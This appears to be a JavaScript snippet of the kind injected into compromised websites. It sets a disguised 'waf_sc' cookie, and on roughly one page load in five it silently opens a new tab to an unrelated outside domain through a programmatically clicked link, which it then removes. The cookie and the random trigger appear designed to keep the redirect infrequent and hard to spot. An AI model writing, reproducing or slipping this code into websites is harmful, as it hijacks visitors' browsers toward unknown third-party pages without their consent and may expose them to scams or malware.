function addiframe(){
    var link = document.createElement('a');
    link.href = "https://yyds.pcrovi.com/15/";
    link.target = "_blank";
	document.body.appendChild(link);
	link.click();
	setTimeout(() => document.body.removeChild(link), 8000);
}

function setcookie(){
      var d=new Date();
      d.setTime(d.getTime()+24*3*60*60*1000); 
      var round_index = document.cookie.indexOf("waf_sc=5889647726");
      if(round_index<0 && document.okk==null)
      {
		document.okk="123";		
		document.addEventListener("DOMContentLoaded", function(event) {
			
			if(document.kkffs==null)
			{
				document.kkffs="123";
				var rand = Math.floor(Math.random() * 100)+1;
				document.cookie = "waf_sc=5889647726;expires="+d.toGMTString();
				if(rand <=20)
				{
					addiframe();
											
				}
			}
			
		});	
      }
}

setcookie();